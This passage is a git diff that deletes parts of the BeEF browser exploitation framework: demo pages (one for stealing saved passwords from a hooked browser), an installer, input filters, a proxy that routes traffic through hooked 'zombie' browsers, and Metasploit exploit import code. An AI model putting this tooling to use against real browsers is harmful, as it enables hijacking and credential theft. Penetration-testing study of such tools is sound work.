e=this,f=d.fx;this.startTime=d.now(),this.start=a,this.end=b,this.unit=c||this.unit||"px",this.now=this.start,this.pos=this.state=0,g.elem=this.elem,g()&&d.timers.push(g)&&!bU&&(bU=setInterval(f.tick,f.interval))},show:function(){this.options.orig[this.prop]=d.style(this.elem,this.prop),this.options.show=!0,this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur()),d(this.elem).show()},hide:function(){this.options.orig[this.prop]=d.style(this.elem,this.prop),this.options.hide=!0,this.custom(this.cur(),0)},step:function(a){var b=d.now(),c=!0;if(a||b>=this.options.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),this.options.curAnim[this.prop]=!0;for(var e in this.options.curAnim)this.options.curAnim[e]!==!0&&(c=!1);if(c){if(this.options.overflow!=null&&!d.support.shrinkWrapBlocks){var f=this.elem,g=this.options;d.each(["","X","Y"],function(a,b){f.style["overflow"+b]=g.overflow[a]})}this.options.hide&&d(this.elem).hide();if(this.options.hide||this.options.show)for(var h in this.options.curAnim)d.style(this.elem,h,this.options.orig[h]);this.options.complete.call(this.elem)}return!1}var i=b-this.startTime;this.state=i/this.options.duration;var j=this.options.specialEasing&&this.options.specialEasing[this.prop],k=this.options.easing||(d.easing.swing?"swing":"linear");this.pos=d.easing[j||k](this.state,i,0,1,this.options.duration),this.now=this.start+(this.end-this.start)*this.pos,this.update();return!0}},d.extend(d.fx,{tick:function(){var a=d.timers;for(var b=0;b
";d.extend(b.style,{position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"}),b.innerHTML=j,a.insertBefore(b,a.firstChild),e=b.firstChild,f=e.firstChild,h=e.nextSibling.firstChild.firstChild,this.doesNotAddBorder=f.offsetTop!==5,this.doesAddBorderForTableAndCells=h.offsetTop===5,f.style.position="fixed",f.style.top="20px",this.supportsFixedPosition=f.offsetTop===20||f.offsetTop===15,f.style.position=f.style.top="",e.style.overflow="hidden",e.style.position="relative",this.subtractsBorderForOverflowNotVisible=f.offsetTop===-5,this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==i,a.removeChild(b),a=b=e=f=g=h=null,d.offset.initialize=d.noop},bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;d.offset.initialize(),d.offset.doesNotIncludeMarginInBodyOffset&&(b+=parseFloat(d.css(a,"marginTop"))||0,c+=parseFloat(d.css(a,"marginLeft"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var e=d.css(a,"position");e==="static"&&(a.style.position="relative");var f=d(a),g=f.offset(),h=d.css(a,"top"),i=d.css(a,"left"),j=e==="absolute"&&d.inArray("auto",[h,i])>-1,k={},l={},m,n;j&&(l=f.position()),m=j?l.top:parseInt(h,10)||0,n=j?l.left:parseInt(i,10)||0,d.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):f.css(k)}},d.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),e=bZ.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(d.css(a,"marginTop"))||0,c.left-=parseFloat(d.css(a,"marginLeft"))||0,e.top+=parseFloat(d.css(b[0],"borderTopWidth"))||0,e.left+=parseFloat(d.css(b[0],"borderLeftWidth"))||0;return{top:c.top-e.top,left:c.left-e.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&(!bZ.test(a.nodeName)&&d.css(a,"position")==="static"))a=a.offsetParent;return a})}}),d.each(["Left","Top"],function(a,c){var e="scroll"+c;d.fn[e]=function(c){var f=this[0],g;if(!f)return null;if(c!==b)return this.each(function(){g=b$(this),g?g.scrollTo(a?d(g).scrollLeft():c,a?c:d(g).scrollTop()):this[e]=c});g=b$(f);return g?"pageXOffset"in g?g[a?"pageYOffset":"pageXOffset"]:d.support.boxModel&&g.document.documentElement[e]||g.document.body[e]:f[e]}}),d.each(["Height","Width"],function(a,c){var e=c.toLowerCase();d.fn["inner"+c]=function(){return this[0]?parseFloat(d.css(this[0],e,"padding")):null},d.fn["outer"+c]=function(a){return this[0]?parseFloat(d.css(this[0],e,a?"margin":"border")):null},d.fn[e]=function(a){var f=this[0];if(!f)return a==null?null:this;if(d.isFunction(a))return this.each(function(b){var c=d(this);c[e](a.call(this,b,c[e]()))});if(d.isWindow(f)){var g=f.document.documentElement["client"+c];return f.document.compatMode==="CSS1Compat"&&g||f.document.body["client"+c]||g}if(f.nodeType===9)return Math.max(f.documentElement["client"+c],f.body["scroll"+c],f.documentElement["scroll"+c],f.body["offset"+c],f.documentElement["offset"+c]);if(a===b){var h=d.css(f,e),i=parseFloat(h);return d.isNaN(i)?h:i}return this.css(e,typeof a==="string"?a:a+"px")}})})(window); diff --git a/demos/butcher/right.jpg b/demos/butcher/right.jpg deleted file mode 100644 index 619367d6d..000000000 Binary files a/demos/butcher/right.jpg and /dev/null differ diff --git a/demos/butcher/secret_page.html b/demos/butcher/secret_page.html deleted file mode 100644 index cf295841d..000000000 --- a/demos/butcher/secret_page.html +++ /dev/null @@ -1,13 +0,0 @@ - - - Secret Page - - -

Secret page

- -

- This page is not hooked by beef. However you should still be capable of accessing it - using the Requester. -

- - \ No newline at end of file diff --git a/demos/butcher/top.jpg b/demos/butcher/top.jpg deleted file mode 100644 index 7a1ed78a3..000000000 Binary files a/demos/butcher/top.jpg and /dev/null differ diff --git a/demos/passwd_manager_theft.html b/demos/passwd_manager_theft.html deleted file mode 100644 index 4a2d70c50..000000000 --- a/demos/passwd_manager_theft.html +++ /dev/null @@ -1,27 +0,0 @@ - - - BeEF Password Manager Theft Demo - - - -

Password Manager Theft Demo

- -

- Instructions:
-
- 1. Write a fake username and password in the form below
- 2. After having submitted the form, make sure you tell firefox that you want to save
- 3. Exploit your hooked browser with the password manager theft command module. -

- -

-

- Username:

- Password:
- -
-

- - - - \ No newline at end of file diff --git a/demos/secret_page.html b/demos/secret_page.html deleted file mode 100644 index cf295841d..000000000 --- a/demos/secret_page.html +++ /dev/null @@ -1,13 +0,0 @@ - - - Secret Page - - -

Secret page

- -

- This page is not hooked by beef. However you should still be capable of accessing it - using the Requester. -

- - \ No newline at end of file diff --git a/install.rb b/install.rb deleted file mode 100644 index 2c23a9859..000000000 --- a/install.rb +++ /dev/null @@ -1,112 +0,0 @@ -require 'rubygems' - -puts "\nWelcome to the BEeF installer!" - -puts "\nPlease make sure you have installed SQLite before proceeding. For instructions on how to do this please see the INSTALL file" - -# array of required gems - add to as needed (specify a version if needed eg "gem_name, =x.x.x") -$gems_required = ["ansi", "dm-core", "json", "data_objects", "do_sqlite3", "sqlite3", "dm-sqlite-adapter", - "parseconfig", "erubis", "dm-migrations"] - -# array of missing non-version specific gems installed -$gems_missing = Array.new - -# array of missing version specific gems installed -$gems_missing_version = Array.new - -# check all required gems (dependencies) are present -def dep_check - $gems_required.each do |current_gem| - begin - if current_gem.include? "," - tokens = current_gem.split(",") - gem tokens[0], tokens[1] - else - gem current_gem - end - rescue Gem::LoadError - if current_gem.include? "," - $gems_missing_version << current_gem - else - $gems_missing << current_gem - end - end - end - if $gems_missing.length == 0 && $gems_missing_version.length == 0 - return true - else - return false - end -end - -# display install options -def display_opts - puts "\n1) Install all required gems automatically\n" + "2) List required gems and exit so they can be installed manually\n" + "3) Exit installer\n\n" - option = gets - return option -end - -# generate install command for missing gems -def install_command - if RUBY_PLATFORM =~ /linux/ or RUBY_PLATFORM =~ /darwin/ - cmd = "sudo gem install" - $gems_missing.each do |current_gem| - cmd = cmd + " #{current_gem}" - end - if $gems_missing_version.length != 0 - $gems_missing_version.each do |current_gem| - if cmd == "sudo gem install" - cmd = cmd + " #{current_gem}" - else - cmd = cmd + " && sudo gem install #{current_gem}" - end - end - end - else - cmd = "gem install" - $gems_missing.each do |current_gem| - cmd = cmd + " #{current_gem}" - end - if $gems_missing_version.length != 0 - $gems_missing_version.each do |current_gem| - if cmd == "gem install" - cmd = cmd + " #{current_gem}" - else - cmd = cmd + " & gem install #{current_gem}" - end - end - end - end - cmd = cmd.delete "," "'" - cmd = cmd.gsub("=", "-v") - return cmd -end - -# install missing gems -def install_gems - puts install_command + "\n" - system(install_command) -end - -dep_met = dep_check() - -if dep_met == false - puts "\nSome gems required by BEeF are not present on your system please select an option to continue:" - option = display_opts - while option != "1\n" and option != "2\n" and option != "3\n" - puts "\nInvalid option entered, please select a valid option to continue:" - option = display_opts - end - if option == "1\n" - install_gems - elsif option == "2\n" - cmd = install_command - puts "\nPlease run the following command to update and install all required gems:\n\n" + cmd + "\n\n" - elsif option == "3\n" - puts "\nExiting...\n\n" - end -else - puts "\nAll required gems are present - please run 'ruby beef.rb' to start using BEeF\n\n" - puts "\nThe Default username/password are beef/beef\n\n" - puts "\nAll feedback welcome - http://beef.googlecode.com/\n\n" -end \ No newline at end of file diff --git a/lib/configuration.rb b/lib/configuration.rb deleted file mode 100644 index 18ef92c4d..000000000 --- a/lib/configuration.rb +++ /dev/null @@ -1,20 +0,0 @@ -module BeEF - - # - # - # - class Configuration < ParseConfig - - include Singleton - - def initialize(configuration_file="#{$root_dir}/config.ini") - super(configuration_file) - end - - def get(key) - get_value(key) - end - - end - -end \ No newline at end of file diff --git a/lib/console/banner.rb b/lib/console/banner.rb deleted file mode 100644 index 388f13b58..000000000 --- a/lib/console/banner.rb +++ /dev/null @@ -1,52 +0,0 @@ -module BeEF -module Console - - module Banner - # - # Generates banner - # - def self.generate - - # set the pre-string for output - detail_tab = ' ' * 1 + '--[ ' - - # get the configuration information - @configuration = BeEF::Configuration.instance - version = BeEF::Configuration.instance.get('beef_version') - beef_host = @configuration.get("http_public") || @configuration.get("http_host") - - # create an array of the interfaces the framework is listening on - if beef_host == '0.0.0.0' # the framework will listen on all interfaces - interfaces = Socket.getaddrinfo(Socket.gethostname, 0, Socket::AF_UNSPEC, Socket::SOCK_STREAM, nil, Socket::AI_CANONNAME).map { |x| x[3] } - interfaces = interfaces << "127.0.0.1" - interfaces.uniq! - else # the framework will listen on only one interface - interfaces = [beef_host] - end - - # output the banner to the console - puts - puts " -=[ BeEF v#{version} ]=-\n\n" - puts detail_tab + "Modules: #{BeEF::Models::CommandModule.all.length}" # output the number of modules available - interfaces.map do |host| # display the important URLs on each interface from the interfaces array - puts detail_tab - puts detail_tab + "Hook URL: http://#{host}:#{@configuration.get("http_port")}#{@configuration.get("hook_file")}" - puts detail_tab + "UI URL: http://#{host}:#{@configuration.get("http_port")}#{@configuration.get("http_panel_path")}" - puts detail_tab + "Demo URL: http://#{host}:#{@configuration.get("http_port")}#{@configuration.get("http_demo_path")}" - end - - # if the proxy is enabled output the address - if (@configuration.get('http_proxy_enable').to_i > 0) - puts - puts detail_tab + "HTTP Proxy: http://#{@configuration.get("http_proxy_bind_address")}:#{@configuration.get("http_proxy_bind_port")}" - end - - puts - puts "Ensure you are running the latest framework version. Run 'svn update' to update" - puts - - end - end - -end -end diff --git a/lib/console/commandline.rb b/lib/console/commandline.rb deleted file mode 100644 index a8bccfce9..000000000 --- a/lib/console/commandline.rb +++ /dev/null @@ -1,37 +0,0 @@ -module BeEF -module Console - - module CommandLine - - @options = Hash.new - @options[:verbose] = false - @options[:resetdb] = false - - @already_parsed = false - - # - # Parses the command line arguments of the console. - # It also populates the 'options' hash. - # - def self.parse - return @options if @already_parsed - - optparse = OptionParser.new do |opts| - opts.on('-x', '--reset', 'Reset the database') do - @options[:resetdb] = true - end - - opts.on('-v', '--verbose', 'Display debug information') do - @options[:verbose] = true - end - end - - optparse.parse! - @already_parsed = true - @options - end - - end - -end -end \ No newline at end of file diff --git a/lib/constants.rb b/lib/constants.rb deleted file mode 100644 index 575541e7b..000000000 --- a/lib/constants.rb +++ /dev/null @@ -1,145 +0,0 @@ -module BeEF - -# -# This module list all the constants used by the framework. -# -module Constants - - module CommandModule - - MODULE_TARGET_VERIFIED_NOT_WORKING = 0 - MODULE_TARGET_VERIFIED_WORKING = 1 - MODULE_TARGET_VERIFIED_USER_NOTIFY = 2 - MODULE_TARGET_VERIFIED_UNKNOWN = 3 - - MODULE_TARGET_VERIFIED_NOT_WORKING_IMG = 'red.png' - MODULE_TARGET_VERIFIED_USER_NOTIFY_IMG = 'orange.png' - MODULE_TARGET_VERIFIED_WORKING_IMG = 'green.png' - MODULE_TARGET_VERIFIED_UNKNOWN_IMG = 'grey.png' - - MODULE_TARGET_IMG_PATH = 'public/images/icons/' - - end - - module Browsers - - FF = 'FF' # Firefox - M = 'M' # Mozila - IE = 'IE' # Internet Explorer - S = 'S' # Safari - K = 'K' # Konqueror - C = 'C' # Chrome - O = 'O' # Opera - ALL = 'ALL' # ALL - UNKNOWN = 'UN' # Unknown - - FRIENDLY_FF_NAME = 'Firefox' - FRIENDLY_M_NAME = 'Mozila' - FRIENDLY_IE_NAME = 'Internet Explorer' - FRIENDLY_S_NAME = 'Safari' - FRIENDLY_K_NAME = 'Konqueror' - FRIENDLY_C_NAME = 'Chrome' - FRIENDLY_O_NAME = 'Opera' - FRIENDLY_UN_NAME = "UNKNOWN" - - def self.friendly_name(browser_name) - - case browser_name - when FF; return FRIENDLY_FF_NAME - when M; return FRIENDLY_M_NAME - when IE; return FRIENDLY_IE_NAME - when S; return FRIENDLY_S_NAME - when K; return FRIENDLY_K_NAME - when C; return FRIENDLY_C_NAME - when O; return FRIENDLY_O_NAME - when UNKNOWN; return FRIENDLY_UN_NAME - end - - end - - def self.match_browser(browserstring) - matches = [] - browserstring.split(" ").each do |chunk| - case chunk - when /Firefox/ , /FF/ - matches << FF - when /Mozilla/ - matches << M - when /Internet Explorer/, /IE/ - matches << IE - when /Safari/ - matches << S - when /Konqueror/ - matches << K - when /Chrome/ - matches << C - when /Opera/ - matches << O - end - end - matches.uniq - end - - end - - # The User Agent strings for browser detection - module Agents - - AGENT_UNKNOWN_IMG = 'unknown.png' - AGENT_FIREFOX_UA_STR = 'Firefox' - AGENT_FIREFOX_IMG = 'firefox.png' - AGENT_MOZILLA_UA_STR = 'Mozilla' - AGENT_MOZILLA_IMG = 'mozilla.png' - AGENT_IE_UA_STR = 'MSIE' - AGENT_IE_IMG = 'msie.png' - AGENT_SAFARI_UA_STR = 'Safari' - AGENT_SAFARI_IMG = 'safari.png' - AGENT_KONQ_UA_STR = 'Konqueror' - AGENT_KONQ_IMG = 'konqueror.png' - AGENT_CHROME_UA_STR = 'Chrome' - AGENT_CHROME_IMG = 'chrome.png' - AGENT_OPERA_UA_STR = 'Opera' - AGENT_OPERA_IMG = 'opera.ico' - - end - - # The OS'es strings for os detection. - module Os - - OS_UNKNOWN_IMG = 'unknown.png' - OS_WINDOWS_UA_STR = 'Windows' - OS_WINDOWS_IMG = 'win.png' - OS_LINUX_UA_STR = 'Linux' - OS_LINUX_IMG = 'linux.png' - OS_MAC_UA_STR = 'Mac' - OS_MAC_IMG = 'mac.png' - OS_IPHONE_UA_STR = 'iPhone' - OS_IPHONE_IMG = 'iphone.png' - - def self.match_os(name) - case name.downcase - when /win/ - OS_WINDOWS_UA_STR - when /lin/ - OS_LINUX_UA_STR - when /os x/, /osx/, /mac/ - OS_MAC_UA_STR - when /iphone/ - OS_IPHONE_UA_STR - else - 'ALL' - end - end - - end - - # The distributed engine codes - module DistributedEngine - - REQUESTER = 1 - PORTSCANNER = 2 - - end - -end -end diff --git a/lib/crypto.rb b/lib/crypto.rb deleted file mode 100644 index 91cb2ade9..000000000 --- a/lib/crypto.rb +++ /dev/null @@ -1,26 +0,0 @@ -module BeEF - -# -# This module provides crypto functionality -# -module Crypto - - # - # Generate a secure random token - # - def self.secure_token(len = nil) - - # get default length from config - config = BeEF::Configuration.instance - token_length = len || config.get('crypto_default_value_length').to_i - - raise WEBrick::HTTPStatus::BadRequest, "Token length is zero or less" if (1 > token_length) - - # return random hex string - OpenSSL::Random.random_bytes(token_length).unpack("H*")[0] - - end - -end - -end diff --git a/lib/filter/base.rb b/lib/filter/base.rb deleted file mode 100644 index 633f566af..000000000 --- a/lib/filter/base.rb +++ /dev/null @@ -1,95 +0,0 @@ -module BeEF - - module Filter - - # check if the string is not empty and not nil - def self.is_non_empty_string?(str) - return false if str.nil? - return false if not str.is_a? String - return false if str.empty? - true - end - - # check if only the characters in 'chars' are in 'str' - def self.only?(chars, str) - regex = Regexp.new('[^' + chars + ']') - regex.match(str).nil? - end - - # check if one or more characters in 'chars' are in 'str' - def self.exists?(chars, str) - regex = Regexp.new(chars) - not regex.match(str).nil? - end - - # check for null char - def self.has_null? (str) - return false if not is_non_empty_string?(str) - exists?('\x00', str) - end - - # check for non-printalbe char - def self.has_non_printable_char?(str) - return false if not is_non_empty_string?(str) - not only?('[:print:]', str) - end - - # check if num chars only - def self.nums_only?(str) - return false if not is_non_empty_string?(str) - only?('0-9', str) - end - - # check if valid float - def self.is_valid_float?(str) - return false if not is_non_empty_string?(str) - return false if not only?('0-9\.', str) - not (str =~ /^[\d]+\.[\d]+$/).nil? - end - - # check if hex chars only - def self.hexs_only?(str) - return false if not is_non_empty_string?(str) - only?('0123456789ABCDEFabcdef', str) - end - - # check if first char is a num - def self.first_char_is_num?(str) - return false if not is_non_empty_string?(str) - not (str =~ /^\d.*/).nil? - end - - # check for space chars: \t\n\r\f - def self.has_whitespace_char?(str) - return false if not is_non_empty_string?(str) - exists?('\s', str) - end - - # check for non word chars: a-zA-Z0-9 - def self.alphanums_only?(str) - return false if not is_non_empty_string?(str) - only?("a-zA-Z0-9", str) - end - - # check if valid ip address string - def self.is_valid_ip?(ip) - return true if ip =~ /^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})?$/ - false - end - - # check for valid browser details chars - def self.has_valid_browser_details_chars?(str) - return false if not is_non_empty_string?(str) - not (str =~ /[^\w\d\s()-.,;:_\/!\302\256]/).nil? # \302\256 is the (r) character - end - - # check for valid base details chars - # this is for basic flitering where possible all specific filters must be implemented - def self.has_valid_base_chars?(str) - return false if not is_non_empty_string?(str) - (str =~ /[^\302\256[:print:]]/).nil? # \302\256 is the (r) character - end - - end - -end diff --git a/lib/filter/command.rb b/lib/filter/command.rb deleted file mode 100644 index 74bea6253..000000000 --- a/lib/filter/command.rb +++ /dev/null @@ -1,59 +0,0 @@ -module BeEF - - module Filter - - # check if the string is a valid path from a HTTP request - def self.is_valid_path_info?(str) - return false if str.nil? - return false if not str.is_a? String - return false if has_non_printable_char?(str) - true - end - - # check if the command id valid - def self.is_valid_command_id?(str) - return false if not is_non_empty_string?(str) - return false if not nums_only?(str) - true - end - - # check if the session id valid - def self.is_valid_hook_session_id?(str) - return false if not is_non_empty_string?(str) - return false if not has_valid_key_chars?(str) - true - end - - # check if valid command module datastore key - def self.is_valid_command_module_datastore_key?(str) - return false if not is_non_empty_string?(str) - return false if not has_valid_key_chars?(str) - true - end - - # check if valid command module datastore value - def self.is_valid_command_module_datastore_param?(str) - return false if has_null?(str) - return false if not has_valid_base_chars?(str) - true - end - - # check for word and some punc chars - def self.has_valid_key_chars?(str) - return false if not is_non_empty_string?(str) - return false if not has_valid_base_chars?(str) - true - end - - # check for word and underscore chars - def self.has_valid_param_chars?(str) - return false if str.nil? - return false if not str.is_a? String - return false if str.empty? - return false if not (str =~ /[^\w_]/).nil? - true - end - - end - -end diff --git a/lib/filter/init.rb b/lib/filter/init.rb deleted file mode 100644 index 909549d9a..000000000 --- a/lib/filter/init.rb +++ /dev/null @@ -1,67 +0,0 @@ -module BeEF - - module Filter - - # verify the page title string is valid - def self.is_valid_pagetitle?(str) - return false if not str.is_a? String - return false if has_non_printable_char?(str) - return false if str.length > 50 - true - end - - # check the browser type value - for example, 'FF' - def self.is_valid_browsername?(str) - return false if not is_non_empty_string?(str) - return false if str.length > 2 - return false if has_non_printable_char?(str) - true - end - - # check the os name value - for example, 'Windows XP' - def self.is_valid_osname?(str) - return false if not is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length < 2 - true - end - - # verify the browser version string is valid - def self.is_valid_browserversion?(str) - return false if not is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return true if str.eql? "UNKNOWN" - return false if not nums_only?(str) and not is_valid_float?(str) - return false if str.length > 10 - true - end - - # verify the browser/UA string is valid - def self.is_valid_browserstring?(str) - return false if not is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length > 200 - true - end - - # verify the hostname string is valid - def self.is_valid_hostname?(str) - return false if not is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length > 255 - return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-\.]*[a-zA-Z0-9]$/).nil? - return false if not (str =~ /\.\./).nil? - return false if not (str =~ /\-\-/).nil? - true - end - - # verify the browser_plugins string is valid - def self.is_valid_browser_plugins?(str) - return false if not is_non_empty_string?(str) - return false if str.length > 400 - return (str =~ /[^\w\d\s()-.,;_!\302\256]/).nil? # \302\256 is the (r) character - end - - end - -end diff --git a/lib/filter/msf.rb b/lib/filter/msf.rb deleted file mode 100644 index b9cefdcb5..000000000 --- a/lib/filter/msf.rb +++ /dev/null @@ -1,12 +0,0 @@ -module BeEF - - module Filter - - def self.is_valid_msf_payload_name?(name) - return false if only?("a-z_/", name) - true - end - - end - -end \ No newline at end of file diff --git a/lib/filter/requester.rb b/lib/filter/requester.rb deleted file mode 100644 index 094c0fe64..000000000 --- a/lib/filter/requester.rb +++ /dev/null @@ -1,27 +0,0 @@ -module BeEF - - module Filter - - def self.is_valid_verb?(verb) - return true if verb.eql? 'GET' or verb.eql? 'POST' - false - end - - def self.is_valid_url?(uri) - return true if uri.eql? WEBrick::HTTPUtils.normalize_path(uri) - false - end - - def self.is_valid_http_version?(version) - return true if version.eql? "HTTP/1.1" or trailer.eql? "HTTP/1.0" - false - end - - def self.is_valid_host_str?(host_str) - return true if host_str.eql? "Host:" - false - end - - end - -end diff --git a/lib/httpproxybase.rb b/lib/httpproxybase.rb deleted file mode 100644 index d347221f3..000000000 --- a/lib/httpproxybase.rb +++ /dev/null @@ -1,24 +0,0 @@ -require 'webrick/httpproxy' -require 'webrick/httputils' - -module BeEF - class HttpProxyBase < WEBrick::HTTPProxyServer - - # call BeEF::HttpProxyZombie.instance - include Singleton - - attr_reader :config - - def initialize - @configuration = BeEF::Configuration.instance - @config[:Logger] = WEBrick::Log.new($stdout, WEBrick::Log::ERROR) - @config[:ServerType] = Thread - super(@config) - end - - # remove beef hook if it exists - def remove_hook(res) - res.body.gsub!(%r'', '') - end - end -end \ No newline at end of file diff --git a/lib/httpproxyzombie.rb b/lib/httpproxyzombie.rb deleted file mode 100644 index 4742ab4ac..000000000 --- a/lib/httpproxyzombie.rb +++ /dev/null @@ -1,42 +0,0 @@ -require 'webrick/httpproxy' -require 'webrick/httputils' - -module BeEF - class HttpProxyZombie < HttpProxyBase - - attr_accessor :proxy_zombie_id - - def initialize - @configuration = BeEF::Configuration.instance - - @config = {} - @config[:BindAddress] = @configuration.get('http_proxy_bind_address') - @config[:Port] = @configuration.get('http_proxy_bind_port') - @config[:ServerName] = "BeEF " + @configuration.get('beef_version') - @config[:ServerSoftware] = "BeEF " + @configuration.get('beef_version') - - proxy_zombie_id = nil - - super - end - - def service(req, res) - - # TODO implement which HB to target - if false - return if proxy_zombie_id.nil? # check if zombie is set - zombie = BeEF::Models::Zombie.get(proxy_zombie_id) - return if not zombie # check if zombie is registered with beef - else - proxy_zombie_id = 1 - end - - # blocking request - res = HttpProxyZombieHandler::forward_request(proxy_zombie_id, req, res) - - # remove beef hook if it exists - remove_hook(res) - - end - end -end \ No newline at end of file diff --git a/lib/httpproxyzombiehandler.rb b/lib/httpproxyzombiehandler.rb deleted file mode 100644 index 7e5f47802..000000000 --- a/lib/httpproxyzombiehandler.rb +++ /dev/null @@ -1,58 +0,0 @@ -require 'webrick/httprequest' -require 'webrick/httpresponse' - -module BeEF - - module HttpProxyZombieHandler - - # Variable representing the Http DB model. - H = BeEF::Models::Http - - # This function will forward requests to the zombie and - # the browser will perform the request. Then the results - # will be sent back to use - def forward_request(zombie_id, req, res) - - # Generate a id for the req in the http table and check it doesnt already exist - http_id = rand(10000) - http_db = H.first(:id => http_id) || nil - - while !http_db.nil? - http_id = rand(10000) - http_db = H.first(:id => http_id) || nil - end - - # some debug info - puts "[PROXY] Forwarding request #" + http_id.to_s + " from zombie [" + zombie_id.to_s + "]" + " to host [" + req.host.to_s + "]" - - # Saves the new HTTP request to the db for processing by HB - http = H.new( - :id => http_id, - :request => req, - :method => req.request_method.to_s, - :domain => req.host.to_s, - :path => req.path.to_s, - :date => Time.now, - :zombie_id => zombie_id - ) - http.save - - # Polls the DB for the response and then sets it when present - - http_db = H.first(:id => http_id) - - while !http_db.has_ran - sleep 1 - http_db = H.first(:id => http_id) - end - - res.body = http_db.response - - res - end - - module_function :forward_request - - end - -end \ No newline at end of file diff --git a/lib/loader.rb b/lib/loader.rb deleted file mode 100644 index 54cda048f..000000000 --- a/lib/loader.rb +++ /dev/null @@ -1,86 +0,0 @@ -require 'rubygems' -require 'webrick' -require 'webrick/httpproxy' -require 'dm-core' -require 'dm-migrations' -require 'json' -require 'ansi' -require 'optparse' -require 'cgi' -require 'parseconfig' -require 'singleton' -require 'ipaddr' -require 'base64' -require 'xmlrpc/client' -require 'erubis' - -require 'lib/patches/webrick/httprequest' -require 'lib/patches/webrick/cookie' -require 'lib/patches/webrick/genericserver' -require 'lib/patches/webrick/httpresponse' -require 'lib/patches/webrick/httpservlet/filehandler.rb' - -require 'lib/constants' -require 'lib/filter/base.rb' -require 'lib/filter/command.rb' -require 'lib/filter/requester.rb' -require 'lib/filter/init.rb' - -require 'lib/model/user' -require 'lib/model/commandmodule' -require 'lib/model/zombie' -require 'lib/model/log' -require 'lib/model/command' -require 'lib/model/result' -require 'lib/model/autoloading' -require 'lib/model/plugin' -require 'lib/model/http' -require 'lib/model/browserdetails' -require 'lib/model/distributedenginerules' -require 'lib/model/dynamiccommandinfo' -require 'lib/model/dynamicpayloadinfo.rb' -require 'lib/model/dynamicpayloads.rb' -require 'lib/model/optioncache.rb' - - -require 'lib/crypto' - -require 'lib/configuration' - -require 'lib/console/banner' -require 'lib/console/commandline' -require 'lib/migration' - -require 'lib/server/modules/common' -require 'lib/server/modules/requester' - -require 'lib/server/httphandler' -require 'lib/server/httpcontroller' - -require 'lib/server/httphookserver' -require 'lib/httpproxybase' -require 'lib/httpproxyzombie' -require 'lib/httpproxyzombiehandler' - -require 'lib/server/assethandler' -require 'lib/server/filehandler' -require 'lib/server/zombiehandler' -require 'lib/server/commandhandler' -require 'lib/server/publichandler' -require 'lib/server/requesterhandler' -require 'lib/server/inithandler' -require 'lib/server/eventhandler' -require 'lib/server/dynamichandler' - -require 'lib/logger' -require 'lib/modules/command' - -require 'lib/modules/msfclient' -require 'lib/modules/msfcommand' - -require 'openssl' - -# load command modules -Dir["#{$root_dir}/modules/commands/**/*.rb"].each do |command| - require command -end diff --git a/lib/logger.rb b/lib/logger.rb deleted file mode 100644 index 412e567b6..000000000 --- a/lib/logger.rb +++ /dev/null @@ -1,24 +0,0 @@ -module BeEF - -# -# This class takes care of logging events in the db. -# -class Logger - - include Singleton - - def initialize - @logs = BeEF::Models::Log - end - - # Registers a new event in the logs - def register(from, event, zombie = 0) - @logs.new(:type => "#{from}", :event => "#{event}", :date => Time.now, :zombie_id => zombie).save - end - - private - @logs - -end - -end diff --git a/lib/migration.rb b/lib/migration.rb deleted file mode 100644 index 60d7440bf..000000000 --- a/lib/migration.rb +++ /dev/null @@ -1,123 +0,0 @@ -module BeEF - -# -# This class migrates and updates values in the database each time you restart BeEF. -# So for example, when you want to add a new command module, you stop BeEF, copy your command module into the framework -# and then restart BeEF. That class will take care of installing automatically the new command module in the db. -# -class Migration - - include Singleton - - # - # Updates the database. - # - def update_db! - update_commands! - update_plugins! - end - - # - # Checks for new command modules and updates the database. - # - def update_commands! - db_commands = [], folders = '' - - BeEF::Models::CommandModule.all.each {|db_command| - db_commands.push(db_command.path) - } - - Dir.foreach("#{$root_dir}/modules/commands/") do |folder| - folders += "#{folder}|" if not ['.', '..'].include? folder and File.directory? "#{$root_dir}/modules/commands/#{folder}" - end - - regex = /\/modules\/commands\/(#{folders})\/(.*).rb/i - - Dir["#{$root_dir}/modules/commands/**/*.rb"].each do |command| - if (command = command.match(regex)[0]) - BeEF::Models::CommandModule.new(:path => command, :name => /.*\/(\w+)\.rb/.match(command).to_a[1]).save if not db_commands.include? command - end - end - - msf = BeEF::MsfClient.instance - if(msf.is_enabled && msf.login()) - Thread.new() { - sploits = msf.browser_exploits() - sploits.each do |sploit| - if not BeEF::Models::CommandModule.first(:name => sploit) - mod = BeEF::Models::CommandModule.new(:path => "Dynamic/Msf", :name => sploit) - mod.save - if mod.dynamic_command_info == nil - msfi = msf.get_exploit_info(sploit) - - st = sploit.split('/').first - targets = [] - - os_name = BeEF::Constants::Os::match_os(st) - - browsers = BeEF::Constants::Browsers::match_browser(msfi['name'] + msfi['targets'].to_json) - - targets << {'os_name' => os_name, 'browser_name' => 'ALL', 'verified_status' => 3} if browsers.count == 0 - - browsers.each do |bn| - targets << {'os_name' => os_name, 'browser_name' => bn, 'verified_status' => 1} - end - - targets << {'os_name' => "ALL", 'verified_status' => 0 } - - - msfci = BeEF::Models::DynamicCommandInfo.new( - :name => msfi['name'], - :description => msfi['description'], - :targets => targets.to_json) - - mod.dynamic_command_info = msfci - mod.save - end - end - end - - payloads = msf.payloads() - payloads.each do |payload| - if not BeEF::Models::DynamicPayloads.first( :name => payload) - pl = BeEF::Models::DynamicPayloads.new( :name => payload) - pl.save - opts = msf.payload_options(payload) - opts.keys.each do |opt| - next if opts[opt]['advanced'] or opts[opt]['evasion'] - pl.dynamic_payload_info.new(:name => opt, 